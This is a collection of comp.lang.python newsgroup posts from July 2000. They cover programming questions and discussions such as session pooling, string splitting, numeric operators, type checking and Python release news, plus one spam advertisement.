persistent that makes it possible for the servlet container (eg Apache 
Jakarta Tomcat) to keep track of session ids and time them out for you 
without your even having to check. It is also pretty easy to have a 
shared database connection pool because, again, there is this single 
persistent process that instantiates and runs all servlet objects.

So I am wondering whether there is a way with Python and Apache to:

1) Have a persistent Python process that processes http requests.

2) Have that persistent process manage a database connection pool.

3) Have that persistent process hand out new session ids for new users, 
time them out automatically and all the other session management that 
servlet containers do for you.

ie can one create an environment in Python that is similar to what is 
available with Java servlets? 

Otherwise how is session tracking and database connection pooling done?



From benjamin.sauthier at worldonline.fr  Mon Jul 24 13:08:01 2000
From: benjamin.sauthier at worldonline.fr (Benjamin)
Date: Mon, 24 Jul 2000 19:08:01 +0200
Subject: mapping the read() fonction
Message-ID: <8lhsu5$huv$1@reda.worldonline.fr>

I would like to map the read() function of a file object

I have a list of file objects. I want to return the list of their content
using the map function

I've used the map function to open my list of file
    map(open,list,{"r","r","r"})  (to open a list of 3 files for example)

but I can't do the same for the read() function, because it is a method
function of the file class
How can I map the read() fonction to my list of file? The problem is that I
don't know the class name of a file object.

The only solution for the moment id to use a for loop on my list....


Thanks

Ben




From fiona at sitegnome.com  Thu Jul 27 06:29:26 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Thu, 27 Jul 2000 20:29:26 +1000
Subject: Documentation...
References: <397FF3C8.52BEF1A5@acm.org>
Message-ID: <39800F06.22290167@sitegnome.com>

Hi Jonathan,

> Moreover, where could I get some (preferably electronic)
> books/documents/tutorials for learning the language?
> Thanks!

This might be useful ->

I'm new to Python, where should I start?
Can you give me an overview of the Python Documentation?
Do I need books to learn Python?
http://www.faqts.com/knowledge-base/view.phtml/aid/1356/fid/199/lang/

and of course, http://python.faqts.com might be useful.

regards,

Fiona


From xiarcexml at yahoo.com  Mon Jul  3 16:06:27 2000
From: xiarcexml at yahoo.com (Dave Williams)
Date: Mon, 3 Jul 2000 13:06:27 -0700 (PDT)
Subject: OO
Message-ID: <20000703200627.5521.qmail@web5301.mail.yahoo.com>

>From my understanding, that is definitely the core of O.O. 
Extendable, Recyclable, Re-usable... you'd think we were
environmentalists or something...

~Dave

__________________________________________________
Do You Yahoo!?
Kick off your party with Yahoo! Invites.
http://invites.yahoo.com/



From aahz at netcom.com  Sat Jul  1 19:37:01 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 1 Jul 2000 23:37:01 GMT
Subject: Threads?
References: <8jlnkh$7h$1@supernews.com>
Message-ID: <8jlvat$ohi$1@nntp9.atl.mindspring.net>

In article <8jlnkh$7h$1 at supernews.com>,
Dale Strickland-Clark <dale at out-think.NOSPAMco.uk> wrote:
>
>Can Python execute a function from the same module in another process?
>I might do this, for example, to take advantage of multiple processors.

I'm a bit confused here.  The Subject says "Threads?" but your text says
"process".  Which is it?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

The best way to get information on Usenet is not to ask a question,
but to post the wrong information.  --Aahz


From to_get_my_address at see.my.signature  Wed Jul 26 21:17:20 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 14:17:20 +1300
Subject: Erm... might I suggest... (Re: New PEP: Attribute Access Handlers)
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194> <397BDCC6.9C498F01@my.signature> <397BF66A.EF8BDEF4@prescod.net> <397D1ADA.A8074086@my.signature> <397D21AF.28498FBC@prescod.net>
Message-ID: <397F8DA0.A3365BD8@see.my.signature>

Paul Prescod wrote:
> 
> If I understand this correctly, then the very first time you add the
> attribute to the dict you effectively wipe out the accessor because the
> test above will evaluate true every time and the branch that uses
> accessors will never get called.

Well, that's the same as the way __getattr__ works now,
since it's only called if normal attribute lookup fails.

If it's considered the wrong behaviour, I wouldn't object
to modifying it as Ben Wolfson suggests, so that a check
for __get_XXX__ is made before the direct attribute access.

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From scarblac-spamtrap at pino.selwerd.nl  Tue Jul 25 13:52:21 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 25 Jul 2000 17:52:21 GMT
Subject: Comparison of strings and integer
References: <8lkfhs$pav$1@pollux.ip-plus.net>
Message-ID: <slrn8nrkt7.54h.scarblac-spamtrap@flits104-37.flits.rug.nl>

Franz GEIGER wrote in comp.lang.python:
> Still not very experienced in programming Python I recently compared
> accidentially a string variable with an integer variable. Python did it his
> way, which was not my way: I expected a conversion like Perl does or a
> runtime error like REBOL does. Is there any way to prevent Python from doing
> so?
> 
> Python: print "1" > 1 --> 1
> 
> Perl: print not ("1" > 1); --> 1
> 
> REBOL:  print "1" > 1 -->
> ** Script Error: Expected one of: string! - not: integer!.
> ** Where: print "1" > 1

The best way to prevent this is "don't do that then!" :-).

Python's docs say that sorting order for incompatible types is
arbitrary but consistent. Or so I seem to remember, can't find it at
the moment.

One way Python's behavior can be useful is for sorting a list; at least
equal values will end up grouped together. It would be irritating if
heterogenous lists couldn't be sorted at all.

What should it do? Complain every time an integer is compared with
another type? What about floats? What about complex numbers? What
about class instances with a __cmp__ method? If the rule is complicated,
it becomes harder to remember.

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
  7:51pm  up 1 day,  8:43,  6 users,  load average: 0.73, 0.91, 0.92


From ge at nowhere.none  Thu Jul 27 11:37:07 2000
From: ge at nowhere.none (Grant Edwards)
Date: Thu, 27 Jul 2000 15:37:07 GMT
Subject: Documentation...
References: <397FF3C8.52BEF1A5@acm.org>
Message-ID: <DGYf5.2543$6E.648097@ptah.visi.com>

In article <397FF3C8.52BEF1A5 at acm.org>, Jonathan Neve wrote:

>What exactly is Python? What are its aims, what is it used for?
>Moreover, where could I get some (preferably electronic)
>books/documents/tutorials for learning the language?

It always surprises me when people want to find out about
subject FooBar, they manage to find the newsgroup x.y.z.FooBar
but didn't find web pages such as

      www.FooBar.org
      www.FooBar.net
      www.FooBar.com

I'm neither complaining that people ask such questions in
newsgroups nor requesting that they don't.  I'm just surprised
that they don't find the wep pages first and stumble across the
newsgroup later. Most of the people I know have no idea what
Usenet is or how to get to it.  They all know about the 'web.

Anyway, to answer the question, take a look at


      www.python.org

-- 
Grant Edwards                   grante             Yow!  INSIDE, I have the
                                  at               same personality disorder
                               visi.com            as LUCY RICARDO!!


From bjorn at roguewave.com  Thu Jul 20 12:39:04 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 20 Jul 2000 10:39:04 -0600
Subject: Discussion: new operators for numerical computation
References: <LNBBLJKPBEHFEDALKOLCIENFGKAA.tim_one@email.msn.com> <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <lu9dns4v56ijpiem2s9lnofdqvs4ctrtu5@4ax.com>
Message-ID: <39772B28.5B0D0F7C@roguewave.com>

John Lull wrote:
> 
> (posted & mailed)
> 
> Huaiyu Zhu <huaiyu_zhu at yahoo.com> wrote:
> 

[snip]

> >    - Do we want a copy operator := which is different from =?  It allows
> >      efficient code.  The following code does not change A
> >          B := A
> >          B += C
> >      This definitely will be usable for other classes. Call it __copy__?
> 
> I'm not convinced this is terribly useful.  We can already write B =
> A.copy(), and I don't see how the function notation is any substantial
> disadvantage here.  I could be persuaded otherwise.

Note also that := has repeatedly been suggested as the assignment
expression, so you can e.g. do:

  while line := f.readline():
    foo(line)

(vs. the current kludgy pydiom...) it's also been repeatedly denied, but
I'd still rather see assignment expressions added than assignment
operators.

-b



From ryzam at my-deja.com  Mon Jul 24 22:55:38 2000
From: ryzam at my-deja.com (ryzam at my-deja.com)
Date: Tue, 25 Jul 2000 02:55:38 GMT
Subject: how to build ssl on window
References: <8lb9ap$j0n$1@nnrp1.deja.com> <8lg7ft$odv$1@nnrp1.deja.com> <397BEAE5.3C1E5151@stroeder.com> <8lh9og$fi5$1@nnrp1.deja.com> <8lhkl1$oou$1@clematis.singnet.com.sg>
Message-ID: <8livj9$ogn$1@nnrp1.deja.com>

> /usr/local/home/ngps:$ python
> Python 1.5.2 (#1, Sep  4 1999, 15:09:59)  [GCC 2.7.2.1] on freebsd2
> Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
> >>> import sys
> >>> sys.path
>
['', '/usr/local/home/ngps/prog/m2', '/usr/local/lib/python1.5/', '/usr/
local/lib/python1.5/plat-freebsd2', '/usr/local/lib/python1.5/lib-
tk', '/usr/local/lib/python1.5/lib-
dynload', '/usr/local/lib/python1.5/site-packages']
>
> What is the output on your computer?
>
> --
> Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps
>
>

This is my output:

Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import sys
>>> sys.path
['C:\\PROGRA~1\\PYTHON\\TOOLS\\IDLE', 'C:\\Program
Files\\Python\\win32', 'C:\\Program Files\\Python\\win32
\\lib', 'C:\\Program Files\\Python', 'C:\\Program
Files\\Python\\Pythonwin', 'C:\\PROGRA~1\\PYTHON\\BATCHG~1
\\PYTHON', 'C:\\Program Files\\Python\\Lib\\plat-win', 'C:\\Program
Files\\Python\\Lib', 'C:\\Program Files\\Python\\DLLs', 'C:\\Program
Files\\Python\\Lib\\lib-tk', 'C:\\PROGRAM
FILES\\PYTHON\\DLLs', 'C:\\PROGRAM FILES\\PYTHON\\lib', 'C:\\PROGRAM
FILES\\PYTHON\\lib\\plat-win', 'C:\\PROGRAM FILES\\PYTHON\\lib\\lib-
tk', 'C:\\PROGRAM FILES\\PYTHON']'


izam


Sent via Deja.com http://www.deja.com/
Before you buy.


From forum21 at euskaltel.net  Tue Jul 25 16:01:35 2000
From: forum21 at euskaltel.net (Anton)
Date: Tue, 25 Jul 2000 22:01:35 +0200
Subject: Are you looking for hardware or software?
Message-ID: <8lks4f$fdi$15@talia.mad.ttd.net>



If you wish to buy a new hardware or software, would you like to be offered,
for a whole month, different prices from professional sellers, in order to
get the best deal possible?. (It's Free).
Forum21. Free tool for buyers.
http://www.forum21.net/english

































From richard_chamberlain at ntlworld.com  Fri Jul 14 10:51:37 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Fri, 14 Jul 2000 15:51:37 +0100
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz>
Message-ID: <PLFb5.358$Ew5.7593@news6-win.server.ntlworld.com>

Hi Peter,

That's a bit of a sore point at the moment :-)

do a search on deja for case sensitive and you'll find a whole argument on
the subject.

Richard

Peter Timaratz <timaratz at lisco.com> wrote in message
news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> I can't think of any advantages to a case sensitive language. Python is a
> very well-designed language though, so I imagine there is a good reason
that
> it is case sensitive. So what are the advantages of a case sensitive
> language?
>
>




From alex at magenta.com  Fri Jul 28 16:16:01 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 22:16:01 +0200
Subject: Win32 drive mapping... aka "net use"
References: <8lr9nc$tdf$1@nnrp1.deja.com> <8lrvae015nm@news2.newsguy.com> <3981D157.D7A1A347@intel.com>
Message-ID: <8lspqe02drs@news2.newsguy.com>

"Lance Shuler" <lance.shuler at intel.com> wrote in message
news:3981D157.D7A1A347 at intel.com...
    [snip]
> Yes, I have been using the Win32 extensions (including COM) for over a
year
> and I own "Python Programming on Win32". I find it very useful. The
example
> below (including NetUseAdd) is not addressed in "Python Programming on
Win32".

Not exactly, no.  I do think its omission is a bug in Appendix B.


>  Alex, regarding "local". I avoid mapping to a specific drive letter and
just
> always use "\\server\share\dir1\dir2\file". This works when moving between
> machines, without worrying about whether "K:" is in use or not. I only use

True.  I probably fell into the habit of always mapping to a drive
because of old applications that still do not support UNC (this may
have changed, but there were a few among the tools in the SDK...).


Alex





From fernstrom at geocities.com  Mon Jul 31 07:44:16 2000
From: fernstrom at geocities.com (christer fernstrom)
Date: Mon, 31 Jul 2000 13:44:16 +0200
Subject: Speed drops when focus moves away from script window
Message-ID: <xDdh5.22150$rH5.54436@nntpserver.swip.net>

When running Zope, I have noticed a drastic drop in speed (order(s) of
magnitude!!) when focus is not on the window from which the python
interpreter is running. Response time for buttons change from a few seconds
to minutes. I run Python 1.6 on W2000. Any suggestions of what I should do?




From moron at Glue.umd.edu  Thu Jul 20 20:25:50 2000
From: moron at Glue.umd.edu (Warren B. Focke)
Date: 20 Jul 2000 20:25:50 -0400
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m2u2dl1xf4.fsf@spiff.home.com> <slrn8netkd.rb.hzhu@localhost.localdomain>
Message-ID: <8l85ae$487@stochastic.eng.umd.edu>

(Huaiyu Zhu) said:
>On Thu, 20 Jul 2000 00:58:06 GMT, Tim Hochberg <tim.hochberg at ieee.org> wrote:
>>
>>>    (2) Which is matrixwise or elementwise
>>
>>I can't see a good answer here. NumPy has been around for a long time
>>and I believe it has a fairly large user base which is a strong
>>argument in favor of the ".x" operators being matrixwise. However,
>
>We may need also to consider future userbase.

If we are considering future user base, it seems to be a question of
what will produce the least surprise.  Since whatever we come up with
can't mimic Matlab exactly, I think that preserving compatibility
should be deemphasized, and we should try to make it good rather than
compatible.  I do agree that having .* and * and having them mean the
exact opposite of what they do in Matlab is bad, though.

But I think also that we should consider not just user base, but code
base - how much code is already out there that will break under the
various suggestions.  My impression is that MatPy is still in a
development phase, such that people shouldn't expect everything to be
written in stone yet, and that people are, at the moment, more
experimenting with it that using it; while there is a good deal of
NumPy code out there in production use which would break under a
change in the meaning of the current operators.  Although, at least,
it should be possible to convert it all with sed or something similar.
-- 
If you feel that you have both feet planted on level ground, then the
university has failed you. -Robert Goheen, President, Princeton University


From guido at beopen.com  Wed Jul 26 20:38:55 2000
From: guido at beopen.com (Guido van Rossum)
Date: Wed, 26 Jul 2000 19:38:55 -0500
Subject: The State of Python
Message-ID: <200007270038.TAA03951@cj20424-a.reston1.va.home.com>

I've placed the slides of my talk at the O'Reilly Open Source
Convention on-line at our BeOpen PythonLabs website:

    http://www.pythonlabs.com/talks.html

We're also very close to announcing news regarding a new Python
license, Python 1.6 and 2.0 release schedules, and a transition of the
python.org website to hosting by VA Linux.

The announcement is waiting for final negotiations about GPL
compatibility of the new license; BeOpen's CTO, Bob Weiner, is
confident that the issue will be resolved one way or another by
Friday.

A preview of what we will announce:

  - A new license for Python 1.6 and later: the "CNRI Open Source
  License", approved by the Open Source Initiative;

  - Release plans for Python 1.6: the last CNRI release, to be issued
  with help from BeOpen;

  - Release plans for Python 2.0: the first release to be issued by
  BeOpen;

  - A transition for the python.org website: it will be hosted by VA
  Linux (home of SourceForge), under supervision of the Python
  Consortium and myself, maintained by the Python community.

Please hold your breath a little longer!

A re-release of JPython using the CNRI Open Source License is possible
a little later, pending further negotiations with CNRI.

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)



From thiele at muc.das-werk.de  Tue Jul 11 14:00:48 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Tue, 11 Jul 2000 20:00:48 +0200
Subject: references again
References: <396A1233.17F2F302@muc.das-werk.de> <396B4CF3.90B13F9A@endea.demon.nl>
Message-ID: <396B60D0.68BD2E62@muc.das-werk.de>

> Thank you!

It works now.

But I don't understand why they have used eval and write the string it in __buildins__.




From alex at magenta.com  Wed Jul 26 17:43:43 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 26 Jul 2000 23:43:43 +0200
Subject: Please help... with re
References: <397F5947.EBDA7F33@e-pack.net> <bzHf5.48352$1h3.670995@news20.bellglobal.com>
Message-ID: <8lnm7c0lu9@news1.newsguy.com>

"Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote in message
news:bzHf5.48352$1h3.670995 at news20.bellglobal.com...
    [snip]
> A - stream your input character by character
> B - when you encounter a space, add all "buffered" characters to the list
> C - if you encounter a quote, ignore rule B until you hit another quote
> D - if you hit a backslash, ignore rule C for the next character
> E - once you run out of characters, add all "buffered" characters to the
> list

Nice, clean approach.  Who knows about performance, since the re engine
is coded in C while this FSM would be coded in Python, but worth giving
it a try, I think. Here's a rather straightforward coding of it -- it
can no doubt be coded more elegantly by making the FSM explicit; this
version relies far too much on making its checks in a specific order,
and on 'continue' statements to avoid too-deep nesting... still, here
comes, coded off-the-cuff:

def splitaline(line):
    result=[]
    curtok=[]
    insidequote=0
    literalnext=0
    for c in line:
        if literalnext:
            curtok.append(c)
            literalnext=0
            continue
        if c=='\\':
            literalnext=1
            continue
        if insidequote:
            if c=='"':
                result.append(string.join(curtok,''))
                curtok=[]
                insidequote=0
            else:
                curtok.append(c)
            continue
        if c=='"':
            insidequote=1
        elif c==' ':
            result.append(string.join(curtok,''))
            curtok=[]
        else:
            curtok.append(c)
    if len(curtok):
        result.append(string.join(curtok,''))
    return result


> I made an horrid 68 lines monster to split a string to a list of
substrings

Well, at least this halves it:-).

> based on following example:
>
> This is an "example of a \"splitted\" text " by my monster.
>
> results to this list:
>
> [ 'This' , 'is' , 'an' , 'example of a "splitted" text ' , 'by' , 'my' ,
> 'monster' ]
>
> But the stuff is too slow to parse the lines of giant log files.


Alex





From johngrayson at home.com  Fri Jul 14 07:51:15 2000
From: johngrayson at home.com (John Grayson)
Date: Fri, 14 Jul 2000 11:51:15 GMT
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <396EE7BC.DA2FA7B3@darwin.in-berlin.de> <8kmtab$4or$1@pollux.ip-plus.net>
Message-ID: <8kmurf$6rf$1@nnrp1.deja.com>

In article <8kmtab$4or$1 at pollux.ip-plus.net>,
  "Bruno Gustavs" <GustavsB at ch.sibt.com> wrote:
> "Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
> news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
> > What do you mean by "language constructs", Python keywords
> > like "for" or "class"? Are you expecting some statistics of
> > used keywords over one's own code?
> >
> > I doubt this will be very useful, like the answer to the
> > question: "Which are the ten most used words in English?".
> > But maybe I'm not understanding well how you think you'll
> > benefit from such an answer...
>
> Lets assume you're going to design Phyton2. What would this
> language contain? What should Phyton2 support? What would you
> like to solve with Phyton2?
>
> Regards
> Bruno Gustavs
>
>

Oh, well now I understand!

You've reached the wrong newsgroup: you want comp.lang.phyton.
You might get a reponse there! (or not...)

Ragerds
John Grayson


Sent via Deja.com http://www.deja.com/
Before you buy.


From erik_wilsher at my-deja.com  Mon Jul 17 06:51:03 2000
From: erik_wilsher at my-deja.com (erik_wilsher at my-deja.com)
Date: Mon, 17 Jul 2000 10:51:03 GMT
Subject: Python VM on a Chip?
References: <3972ADA8.BF327969@linuxfreak.com>
Message-ID: <8kuoej$fma$1@nnrp1.deja.com>

>VM?  Is it even possible since the data types of Python are late
>binding?  Does anyone know of a commercial or university project that
>is implementing a Python VM using ASICs or FPGAs?

Well Martijn Faassen wrote about such a project more than a year ago.
(see http://www.egroups.com/message/python-list/56144?&start=56121 ).
However, please notice the date of the posting before you get too
excited.

In the discussion that followed (and I'm sure Martijn laughed) it
appeared to be some enthusiasm for such a project.


EW


Sent via Deja.com http://www.deja.com/
Before you buy.


From thomas at xs4all.net  Mon Jul 31 19:11:56 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 1 Aug 2000 01:11:56 +0200
Subject: How does Python compare to ?
In-Reply-To: <8m4v0g$bcbbu$1@fido.engr.sgi.com>; from pj@sgi.com on Mon, Jul 31, 2000 at 10:36:00PM +0000
References: <3FF3ED6EC164DBD2.77C81740D77CD9FA.D247DC7D74D3B365@lp.airnews.net> <Pine.GSO.4.10.10007311048410.10092-100000@sundial> <8m4bo1$3le2$1@nntp6.u.washington.edu> <8m4v0g$bcbbu$1@fido.engr.sgi.com>
Message-ID: <20000801011155.Q266@xs4all.nl>

On Mon, Jul 31, 2000 at 10:36:00PM +0000, Paul Jackson wrote:
> Donn Cave, donn at u.washington.edu wrote:
> |> But it has to be partly the interpreter too.

> Good grief - does it ever.  On my setup at least,
> Python startup is much worse than Perl.

>     echo 'print "hi"' | perl
>     echo 'print "hi"' | python

>     In the same interval, python does some 196 milliseconds worth
>     of stuff, including 52 open attempts, 34 stat attempts, 67
>     sigaction calls, 12 fstat's, 20 close's, 27 brk's, ...

Okay, now try it with 'python -S'. This omits the 'site.py' import, which
itself requires a ton of other things. When using '-S', python is
consistently 10msec faster than perl, on my P2-something running Linux.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From aahz at netcom.com.bbs  Sat Jul 15 10:30:01 2000
From: aahz at netcom.com.bbs (aahz at netcom.com.bbs)
Date: 15 Jul 2000 14:30:01 GMT
Subject: Top 10 Language Constructs (Phyton)
Message-ID: <3bPa7P$k8I@openbazaar.net>

In article <8kpavi04id at news1.newsguy.com>,
Alex Martelli <alex at magenta.com> wrote:
>"Aahz Maruch" <aahz at netcom.com> wrote in message
>news:8knng5$eue$1 at slb3.atl.mindspring.net...
>> In article <8kn71u02nn4 at news2.newsguy.com>,
>> Alex Martelli <alex at magenta.com> wrote:
>>>"Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
>>>news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
>>>>
>>>> I doubt this will be very useful, like the answer to the
>>>> question: "Which are the ten most used words in English?".
>>>
>>>That one is pretty useful, actually (it identifies the all-too-
>>>frequent words, like 'the', 'of', etc, which a full-text search
>>>engine had better just skip over:-).
>>
>> That's wrong.  How do you search for the phrase "the White House"?
>
>You get all adjacencies of 'white' and 'house', assuming your search
>tables are case-insensitive (which they should not be, for umpteen
>reasons, but that's another thread, I guess).  This only adds a modest
>number of false positives: since you were going to get references to
>"the white house at the corner of Elm and Main" anyway, it's no great
>hardship to also get any "a white house, quite pretty, with a red
>roof".

Here's a better example: "The Cat in the Hat"  With two adjacent noise
words, your false positive rate goes up.

>But meanwhile you're protecting yourself against losing many relevant
>positives due to quirks of English syntax and idiom.  "White
>House sources denied the allegations" and "The White House denied
>the allegations" are basically equivalent; "the", like all such
>syntax-marker words, tends to appear or disappear from phrases
>depending, unsurprisingly, on syntax (and idiom) issues.

Note that many people are not searching for a random document that
contains something similar to a phrase, they are searching for a
document that contains a specific phrase.  (E.g. "the tree of liberty")

>And your tables shrink usefully.  You can invest the saved space to
>provide other precious services that are often skimped on, like, guess
>what!, proper casing-flags, flags for inflection, etc.  So you can
>search for: {white constrain initial-cap} adjacent {house constrain
>initial-cap, singular} and get all "properly capitalized" references to
>the White House, with or without article.

I should note that my primary experience is with Verity, so I'm
thoroughly familiar with all these operations; I consider a search
engine inferior if it doesn't support them.  All the same, most people
seem unwilling to learn complex query languages to get the necessary
precision in their results.

>> (Trust me, this is one area I'm a real expert.)
>
>I'm out of touch with recent research in the field -- it's been over a
>decade since I did computational linguistics -- but my recent usage of
>full-text search engines, now so prevalent on the net, does not seem
>to show me any advance in the art.  Maybe there are new algorithms
>and data structures providing speed-ups on the search engine (some
>of the engines ARE remarkably fast, I will admit), but the *search
>quality* issues, which are connected with what to include in the
>tables, search-language semantics, etc, seem to be still all there
>(indeed, the search engine I find myself using most often [because it's
>so wondrously fast] is extremely poor this way -- can't even ask for
>adjacency or nearby-words, etc, etc; but "brute force wins again":-).

Yeah, one of the reasons I hate AltaVista so much is because it does a
remarkably poor job of result ranking, even by the relatively poor
standards of search engines.

However, every time I see a serious attempt to improve automated search
results, it leads directly to the mucky swamp of AI and "natural
language", with degraded search results.  I remember one search engine
that I typed something like "cat" into, and got documents back
containing "cow" because they were both animals (I don't remember the
exact example).

(Note that I've never been a particular expert on academic research.
I've always been much more interested in deployable applications.)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From thomas at xs4all.net  Sun Jul  9 15:34:50 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 9 Jul 2000 21:34:50 +0200
Subject: Prepending / appending to *args
In-Reply-To: <s84a5.10071$MS3.192680@news1.online.no>; from nikolai@micon.no on Sun, Jul 09, 2000 at 09:21:12PM +0200
References: <s84a5.10071$MS3.192680@news1.online.no>
Message-ID: <20000709213449.C26534@xs4all.nl>

On Sun, Jul 09, 2000 at 09:21:12PM +0200, Nikolai Kirsebom wrote:

> I think I've seen how this is done somewhere, but cannot find it.  Could
> anyone show me how I in function A below add an argument at the beginning of
> the list / at the end of the list which then is supplied to function B.

> def A(*args):
>   pa = 'prepended-argument'
>   aa = 'appended-argument'
>   B(pa+args+aa)   ''''SYNTAX here ??

  apply(B, pa+args+aa)

However, 'args' is not a list! It's a tuple. There is a difference,
especially in how you append or prepend items. In the example above, you're
adding strings and tuples, and that won't work. Try it like this:

  apply(B, (pa,) + args + (aa,))

In Python 1.6 (the alphas, and the betas and final, if they ever arrive ;-)
and Python 2.0 (aka the CVS tree ;) you can use the '*syntax' when calling a
function too:

  newargs = (pa,) + args + (aa,)
  B(*newargs)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From paul at prescod.net  Tue Jul 18 16:43:49 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 15:43:49 -0500
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <fRZc5.1487$6E.293353@ptah.visi.com>
Message-ID: <3974C185.E39E082E@prescod.net>

Eric Hopper wrote:
> 
> ...
> 
> Oh, yes.  Inheritance by mysteriously coiniciding method names.  How fun.

It has nothing to do with inheritance. We are discussing genericity, not
inheritance. Some languages can only do genericity through inheritance
but this is rare in modern languages.

> Just accepting any old type, and letting it error out when it tries to
> access a non-existent attribute is very confusing for people trying to use
> your code.  Heck, maybe you store away their object, and then call the
> offending method at some random later point.  I bet it'd be a heck of a
> lot of fun to try to trace down why the exception happened then.

It is not a big deal. You aren't the first person to write a large
project in Python. You are of course free to do what you want but I'll
caution you that paranoid type checking is typically a phase that Python
programmers go through. 

You'll notice that the standard library does not use type checking
functions in most places. In a lot of ways the error messages are *less
confusing*. When I get an error message: "read method not defined" then
I know I need to define a "read" method. This is better than having a
hideously complex type inheritance hierarchy in order to enforce nothing
more than that the object needs a read method. That way lies madness:

http://java.sun.com/products/jdk/1.1/docs/api/Package-java.io.html

> Type checking and the scoping rules are the only two problems I have with
> Python so far.  Other than that, it's a wondefrul language.

Type checking is the most major difference between Java and Python. If I
liked everything about Java except its dynamic typing (which is, IMO,
its best feature) I would just use Java like everyone else.
Nevertheless, if you prefer Python with roll-your-own type checking to
Java, more power to you. It's a big tent.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From db3l at fitlinxx.com  Mon Jul 17 21:44:55 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 17 Jul 2000 21:44:55 -0400
Subject: Multiline strings and indentation
References: <39736250$0$14722@wodc7nh6.news.uu.net> <39736E71.AE8B128B@sec.noaa.gov> <3973af3b$0$27161@wodc7nh1.news.uu.net>
Message-ID: <ug0p85i08.fsf@ctwd0143.fitlinxx.com>

"donotspam-jen at personic.com" <dnotspam-jen at personic.com> writes:

> But in both cases you have to put in extra quotes and explict newline
> characters (unless you don't care where the text wraps).

Well, you sort of have to explicitly handle the newlines with multi-line
strings as well, since they are only going to wrap where you actually
wrap them.

>                                                          Multi-line strings
> save a bit of typing, and are a bit easier to reformat when editing. So I
> guess this means I have to choose between weird indentation (multi-line
> strings) or typing more characters?

Either that or see what is leading you to using such long,
multiple-line strings (needs line breaks within string) directly
within the code and see if you might not be better suited with some
sort of data structure to access those strings.

I don't know what the strings are for, but if they are messages, or
prompts, or other user I/O, perhaps installing them in a dictionary or
some other structure within your code would permit you to just
retrieve the appropriate string later without needing the inline
multi-line strings.  That would also permit later extraction for
separate message handling, internationalization, etc.. should the need
ever arise.  It would also cluster these long messages in a single
place in your code for maintenance.

Just a thought - it might not be relevant in your particular
application.  For myself I tend to find most strings relatively small
(and the occasional full line string that is longer than my source
line I just let Python do with the automatic string concatentation of
two adjacent strings) within the source itself, longer strings
tending to be related to some other structure within the code.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From chrish at pobox.com.invalid  Thu Jul 27 14:32:43 2000
From: chrish at pobox.com.invalid (Chris Herborth)
Date: Thu, 27 Jul 2000 18:32:43 GMT
Subject: Is the "Be" significant? (Re: The State of Python)
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <397FD6B9.5017B952@see.my.signature> <cpr98fk04z.fsf@cj20424-a.reston1.va.home.com> <slrn8o0m70.qhk.grey@teleute.rpglink.com>
Message-ID: <ff%f5.155971$t91.1268170@news4.giganews.com>

According to Steve Lamb <morpheus at here.not.there>:
